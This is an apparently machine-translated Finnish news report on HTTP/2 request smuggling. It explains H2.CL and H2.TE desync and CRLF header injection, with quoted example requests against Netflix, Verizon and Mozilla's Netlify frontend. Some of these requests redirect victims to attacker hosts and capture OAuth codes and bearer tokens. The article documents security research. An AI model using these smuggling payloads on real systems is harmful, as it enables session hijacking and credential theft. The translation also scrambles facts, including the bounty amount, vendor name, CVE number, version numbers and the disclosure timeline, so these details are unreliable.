Verkkojärjestelmät, joissa käyttöliittymä hyväksyy yhteydet HTTP/2:n kautta ja lähettää taustajärjestelmään HTTP/1.1:n kautta, ovat altistuneet uudelle HTTP-pyyntöjen salakuljetushyökkäyksen versiolle, joka mahdollistaa sisältöön kiilaamisen lähettämällä erityisesti suunniteltuja asiakaspyyntöjä. muiden käyttäjien pyynnöistä, jotka on käsitelty samassa kulussa käyttöliittymän ja taustajärjestelmän välillä. Hyökkäyksen avulla voidaan lisätä haitallista JavaScript-koodia istuntoon laillisen sivuston kanssa, ohittaa kulunvalvontajärjestelmät ja siepata todennusparametreja.
Ongelma vaikuttaa verkkovälityspalvelimiin, kuormituksen tasapainottajiin, verkkokiihdyttimiin, sisällönjakelujärjestelmiin ja muihin kokoonpanoihin, joissa pyynnöt uudelleenohjataan käyttöliittymän taustajärjestelmän mukaisesti. Tutkimuksen kirjoittaja osoitti kykynsä hyökätä Netflixin, Verizonin, Bitbucketin, Netlify CDN:n ja Atlassianin järjestelmiin ja sai 56 5 dollaria haavoittuvuuspalkkioohjelmia. Ongelma on varmistunut myös F2021 Networksin tuotteissa. Ongelma vaikuttaa osittain Apachen http-palvelimen mod_proxy:hen (CVE-33193-2.4.49), korjausta odotetaan versiossa 3 (kehittäjille ilmoitettiin ongelmasta toukokuun alussa ja he saivat 1.21.1 kuukautta aikaa korjata se). Nginxissä kyky määrittää "Content-Length"- ja "Transfer-Encoding"-otsikot samanaikaisesti estettiin viimeisessä julkaisussa (XNUMX). Hyökkäystyökalut on jo lisätty Burp-työkalupakettiin, ja ne ovat saatavilla Turbo Intruder -laajennuksena.
Uuden menetelmän kiilata pyyntöjä liikenteeseen toimintaperiaate on samanlainen kuin saman tutkijan kaksi vuotta sitten havaitsema haavoittuvuus, mutta rajoittuu HTTP/1.1:n kautta pyyntöjä hyväksyviin käyttöliittymiin. Muista, että käyttöliittymä-taustajärjestelmässä asiakaspyynnöt vastaanottaa lisäsolmu - käyttöliittymä, joka muodostaa pitkäikäisen TCP-yhteyden suoraan pyyntöjä käsittelevän taustajärjestelmän kanssa. Tämän yhteisen yhteyden kautta välitetään yleensä pyyntöjä eri käyttäjiltä, jotka seuraavat ketjua peräkkäin HTTP-protokollan avulla erotettuina.
Klassinen "HTTP Request Smuggling" -hyökkäys perustui siihen, että käyttöliittymät ja taustaohjelmat tulkitsevat HTTP-otsikoiden "Content-Length" (määrittää pyynnössä olevien tietojen kokonaiskoon) ja "Transfer-Encoding: chunked" ( mahdollistaa tietojen siirtämisen osissa) eri tavalla . Esimerkiksi, jos käyttöliittymä tukee vain "Content-Length" mutta jättää huomiotta "Transfer-Encoding: chunked", hyökkääjä voi lähettää pyynnön, joka sisältää molemmat "Content-Length"- ja "Transfer-Encoding: chunked"-otsikot, mutta koko on "Content-Length" ei vastaa paloitetun ketjun kokoa. Tässä tapauksessa käyttöliittymä käsittelee ja uudelleenohjaa pyynnön "Content-Length"-arvon mukaisesti, ja taustaohjelma odottaa lohkon valmistumista "Transfer-Encoding: chunked" perusteella ja hyökkääjän pyynnön loppuosa on seuraavana lähetettävän ulkomaanpyynnön alussa.
Toisin kuin tekstipohjainen HTTP/1.1-protokolla, joka jäsennetään rivitasolla, HTTP/2 on binääriprotokolla ja käsittelee ennalta määrätyn kokoisia tietolohkoja. HTTP/2 käyttää kuitenkin pseudootsikoita, jotka vastaavat tavallisia HTTP-otsikoita. Kun keskusyksikkö on vuorovaikutuksessa HTTP/1.1:n kautta, käyttöliittymä muuntaa nämä pseudootsikot samanlaisiksi HTTP/1.1 HTTP-otsikoiksi. Ongelmana on, että taustaosa tekee päätökset virran jäsentämisestä käyttöliittymän asettamien HTTP-otsikoiden perusteella tietämättä alkuperäisen pyynnön parametreja.
Mukaan lukien pseudootsikot, arvot "sisällön pituus" ja "siirtokoodaus" voidaan lähettää huolimatta siitä, että niitä ei käytetä HTTP / 2:ssa, koska kaikkien tietojen koko määritetään erillinen kenttä. Kuitenkin, kun HTTP/2-pyyntö muunnetaan HTTP/1.1:ksi, nämä otsikot siirretään ja voivat sekoittaa taustajärjestelmän. Hyökkäysvaihtoehtoja on kaksi: H2.TE ja H2.CL, joissa taustaosaa johdetaan harhaan virheellisellä siirtokoodauksella tai sisällön pituusarvolla, joka ei vastaa käyttöliittymän kautta vastaanottaman pyynnön rungon todellista kokoa. HTTP/2-protokolla.
Esimerkkinä H2.CL-hyökkäyksestä sisällön pituinen pseudootsikko on virheellinen lähetettäessä HTTP/2-pyyntö Netflixille. Tämä pyyntö johtaa samanlaisen Content-Length HTTP-otsikon lisäämiseen käytettäessä taustajärjestelmää HTTP/1.1:n kautta, mutta koska Content-Length-kohdan koko on pienempi kuin todellinen koko, osa hännän tiedoista käsitellään seuraavan pyynnön alussa.
Esimerkiksi HTTP/2-pyyntö :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Lähettää pyynnön taustajärjestelmään: POST /n HTTP/1.1 Isäntä: www.netflix.com Sisällön pituus: 4 abcdGET /n HTTP/1.1 Isäntä: 02.rs?x.netflix.com Foo: bar
Koska sisällön pituus on asetettu arvoon 4, taustaohjelma hyväksyy vain "abcd" pyynnön rungoksi ja käsittelee loput "GET /n HTTP/1.1…" seuraavan toiseen käyttäjään sidotun pyynnön alussa. Vastaavasti virta on epäsynkronissa, ja vastauksena seuraavaan pyyntöön palautetaan väärennetyn pyynnön käsittelyn tulos. Netflixin tapauksessa kolmannen osapuolen isännän määrittäminen "Host:"-otsikossa huijauspyynnössä johti vastaukseen "Sijainti: https://02.rs?x.netflix.com/n" asiakkaalle ja salli mielivaltaisen sisällön välittämisen asiakkaalle, mukaan lukien JavaScript-koodisi suorittaminen Netflix-sivuston yhteydessä.
Hyökkäyksen toinen muunnelma (H2.TE) liittyy "Transfer-Encoding: chunked" -otsikon korvaamiseen. Transfer-koodauksen pseudootsakkeen käyttö HTTP/2:ssa on spesifikaation mukaan kielletty ja sitä sisältäviä pyyntöjä on määrä käsitellä virheellisinä. Tästä huolimatta jotkut käyttöliittymän toteutukset jättävät tämän vaatimuksen huomiotta ja sallivat HTTP/2:ssa siirtokoodauksen pseudootsikon käytön, mikä tarkoittaa samanlaista HTTP-otsikkoa. Jos "Transfer-Encoding"-otsikko on olemassa, taustaohjelma voi pitää sen prioriteettina ja jäsentää tiedot osissa "palastettu"-tilassa käyttämällä erikokoisia lohkoja muodossa "{size}\r\n{block}". \r\n{koko} \r\n{block}\r\n0" huolimatta alkuperäisestä jaosta kokonaiskoon mukaan.
Verizonin esimerkki osoitti tällaisen aukon olemassaolon. Ongelma koski kuitenkin todennusportaalia ja sisällönhallintajärjestelmää, jota käyttävät myös muun muassa Huffington Post ja Engadget. Esimerkiksi asiakaspyyntö HTTP/2:n kautta: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Aiheutettu HTTP/1.1-pyyntö taustajärjestelmään: POST /identity/XUI HTTP/1.1 Isäntä: id.b2b.oath.com Sisällön pituus: 66 Siirtokoodaus: lohkottu 0 GET /oops HTTP/1.1 Isäntä: psres.net Content- Length : 10x =
Taustaohjelma puolestaan jätti huomiotta "Content-Length"-otsikon ja suoritti in-stream-jakamisen "Transfer-Encoding: chunked" perusteella. Käytännössä hyökkäys mahdollisti käyttäjien pyyntöjen uudelleenohjauksen sivustollesi, mukaan lukien OAuth-todennukseen liittyvien pyyntöjen sieppaamisen, joiden parametrit ilmestyivät Referer-otsikossa, sekä todennusistunnon simuloinnin ja valtuustietojen lähettämisen käyttäjän toimesta. järjestelmä hyökkääjän isännälle. GET /b2blanding/show/oops HTTP/1.1 Isäntä: psres.net Viite: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Isäntä: psres.net Valtuutus: Bearer eyJhcGwiOiJIUzIkI1Gi1IkI6Gi6
Hyökkäykseen HTTP/2-toteutuksiin, jotka eivät salli siirtokoodauksen pseudootsikon määrittämistä, on ehdotettu toista menetelmää, jossa "Transfer-Encoding"-otsikko korvataan liittämällä se muihin pseudootsikoihin, jotka on erotettu rivinvaihtomerkillä (muunnettuina HTTP/1.1:een, tässä tapauksessa luodaan kaksi erillistä HTTP-otsikkoa).
Esimerkiksi Atlassian Jira ja Netlify CDN (käytetään palvelemaan Mozillan aloitussivua Firefoxissa) kärsivät tästä ongelmasta. Tarkemmin sanottuna HTTP/2-pyyntö :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Sisällön pituus: 5\r\n \r\nx=
aiheutti HTTP/1.1 POST / HTTP/1.1-pyynnön lähetyksen taustajärjestelmään\r\n Isäntä: start.mozilla.org\r\n Foo: b\r\n Siirtokoodaus: chunked\r\n Sisältö- Pituus: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Isäntä: evil-netlify-domain\r\n Sisällön pituus: 5\r\n \ r\nx=
Toinen vaihtoehto "Transfer-Encoding" -otsikon korvaamiseksi oli liittää se toisen pseudootsikon nimeen tai merkkijonoon, jossa on pyyntömenetelmä. Esimerkiksi käytettäessä Atlassian Jiraa pseudootsikon nimi "foo: bar\r\ntransfer-encoding" arvolla "chunked" johti HTTP-otsikoiden "foo: bar" ja "transfer-encoding" lisäämiseen. : chunked", ja pseudootsikossa ":method" arvon "GET / HTTP/1.1\r\nTransfer-encoding: chunked" määrittäminen muutettiin muotoon "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .
Ongelman tunnistanut tutkija ehdotti myös frontendeihin hyökkäämiseksi pyyntötunnelointitekniikkaa, jossa kullekin IP-osoitteelle muodostetaan erillinen yhteys taustajärjestelmään ja eri käyttäjien liikennettä ei sekoiteta. Ehdotettu tekniikka ei salli puuttua muiden käyttäjien pyyntöihin, mutta se mahdollistaa jaetun välimuistin myrkyttämisen, mikä vaikuttaa muiden pyyntöjen käsittelyyn ja mahdollistaa sisäisten HTTP-otsikoiden korvaamisen, joita käytetään palvelutietojen siirtämiseen käyttöliittymä taustajärjestelmään (esimerkiksi käyttöliittymän todentamisen yhteydessä tällaiset otsikot voivat lähettää tietoja nykyisestä käyttäjästä taustajärjestelmään). Esimerkkinä menetelmän soveltamisesta käytännössä välimuistimyrkytyksen avulla sivujen hallintaan oli mahdollista saada Bitbucket-palvelussa.
Lähde: opennet.ru